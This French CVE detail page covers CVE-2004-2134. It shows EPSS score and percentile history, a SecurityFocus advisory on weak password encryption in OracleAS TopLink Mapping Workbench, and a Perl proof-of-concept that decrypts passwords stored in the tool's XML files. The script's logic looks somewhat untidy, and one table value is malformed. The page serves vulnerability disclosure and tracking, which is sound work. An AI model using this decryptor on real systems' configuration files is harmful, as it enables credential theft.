CVE-2004-2134 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.73%	–	–
2022-02-13	–	–	1.73%	–	–
2022-04-03	–	–	1.73%	–	–
2022-06-19	–	–	1.73%	–	–
2022-10-30	–	–	1.73%	–	–
2022-11-20	–	–	1.73%	–	–
2022-11-27	–	–	1.73%	–	–
2023-01-01	–	–	1.73%	–	–
2023-01-15	–	–	1.73%	–	–
2023-03-12	–	–	–	0.04%	–
2023-09-17	–	–	–	0.04%	–
2023-12-03	–	–	–	0.04%	–
2024-03-17	–	–	–	0.04%	–
2024-04-21	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-07-07	–	–	–	0.04%	–
2024-08-04	–	–	–	0.04%	–
2024-08-11	–	–	–	0.04%	–
2024-11-17	–	–	–	0.04%	–
2024-12-22	–	–	–	7.44%	–
2025-01-19	–	–	–	7.44%	–
2025-03-18	–	–	–	–	5.06%
2025-03-30	–	–	–	–	3.82%
2025-03-30	–	–	–	–	3.82,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	53%
2022-02-13	54%
2022-04-03	74%
2022-06-19	75%
2022-10-30	76%
2022-11-20	75%
2022-11-27	76%
2023-01-01	75%
2023-01-15	76%
2023-03-12	8%
2023-09-17	9%
2023-12-03	8%
2024-03-17	9%
2024-04-21	9%
2024-06-02	1%
2024-07-07	11%
2024-08-04	1%
2024-08-11	11%
2024-11-17	12%
2024-12-22	94%
2025-01-19	94%
2025-03-18	89%
2025-03-30	87%
2025-03-30	87%

source: https://www.securityfocus.com/bid/9515/info OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases. OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password. The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases. #!/usr/bin/perl #Decrypt Oracle Toplink Mapping WorkBench passwords. #Author: Martin $string = "A7FCAA504BA7E4FC"; sub usage { print " Usage: $0 <password to decrypt>\n"; } if ($#ARGV != 0) { usage(); } else { $encrypted = $ARGV[0]; $encrypted =~ s/$string/ /; $chars = length($encrypted); $enc2 = substr($encrypted,0,2); $encrypted = substr($encrypted,2,length($encrypted)); $i = 0; while (($chars / 2) >= $i + 1) { print $i; $int = hex($enc2); if (($i%2) == 1) { $result .= chr($int - ( ($i + 1 )/3 ) - 112); } else { $result .= chr($int - 4 + $i); } $enc2 = substr($encrypted,0,length($encrypted) - 1); $encrypted = substr($encrypted,2,length($encrypted)); $i++; } print "$result\n"; }